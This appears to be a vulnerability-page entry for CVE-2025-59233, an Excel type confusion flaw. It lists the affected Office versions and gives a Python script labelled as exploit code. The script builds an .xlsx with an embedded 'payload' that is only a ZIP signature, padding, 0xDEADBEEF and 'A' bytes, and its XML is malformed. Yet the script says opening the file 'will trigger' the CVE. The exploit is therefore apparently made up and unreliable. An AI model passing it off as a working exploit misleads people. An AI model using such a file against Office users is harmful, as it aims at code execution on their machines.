Microsoft Office LTSC Standard 2024 (32-bit/64-bit)
Microsoft 365 Apps for Enterprise (32-bit/64-bit)
Microsoft Office LTSC Professional Plus 2021 (32-bit/64-bit)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-59233 - Microsoft Office Excel Type Confusion PoC (Conceptual)
# This is a conceptual PoC demonstrating the type confusion vulnerability in Excel
# WARNING: For educational and research purposes only
import struct
import zipfile
import os
import shutil
def create_malicious_xlsx(output_path):
"""
Create a malicious Excel file that triggers type confusion (CVE-2025-59233).
The exploit works by crafting an Excel file with a specially designed
embedded object that causes Excel to misinterpret object types during parsing.
"""
# Create a minimal xlsx structure (which is a ZIP archive)
if os.path.exists(output_path):
os.remove(output_path)
# The xlsx file structure
files = {
'[Content_Types].xml': '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">
<Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/>
<Default Extension="xml" ContentType="application/xml"/>
<Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/>
<Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/>
<Override PartName="/xl/embeddings/embeddedObject1.xlsx" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet"/>
</Types>''',
'_rels/.rels': '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/>
</Relationships>''',
'xl/workbook.xml': '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main">
<sheets><sheet name="Sheet1" sheetId="1" r:id="rId1"/></sheets>
</workbook>''',
# Malicious worksheet with type confusion trigger
'xl/worksheets/sheet1.xml': '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main">
<sheetData>
<row r="1"><c r="A1" t="str"><v>Test</v></c></row>
</sheetData>
<oleObjects><oleObject r:id="rId1" progID="Excel.Sheet.12" shapeId="1026"/></oleObjects>
</worksheet>''',
# Crafted embedded object designed to trigger type confusion
'xl/embeddings/embeddedObject1.xlsx': create_type_confusion_payload(),
}
with zipfile.ZipFile(output_path, 'w', zipfile.ZIP_DEFLATED) as zf:
for filename, content in files.items():
zf.writestr(filename, content)
print(f"[+] Malicious Excel file created: {output_path}")
def create_type_confusion_payload():
"""
Generate the type confusion payload.
This creates an embedded Excel object with manipulated internal structures
that cause type confusion when parsed by the vulnerable Excel version.
"""
# The payload exploits the type confusion by providing an object
# that Excel misinterprets, leading to memory corruption
# and potential code execution
payload = b'PK\x03\x04' # ZIP signature
payload += b'\x00' * 26 # ZIP header padding
payload += struct.pack('<I', 0xDEADBEEF) # Crafted type identifier
payload += b'\x41' * 1024 # Padding
return payload
if __name__ == "__main__":
output = "CVE-2025-59233_poc.xlsx"
create_malicious_xlsx(output)
print("[!] Use this file only for authorized security testing")
print("[!] Opening this file in vulnerable Excel will trigger CVE-2025-59233")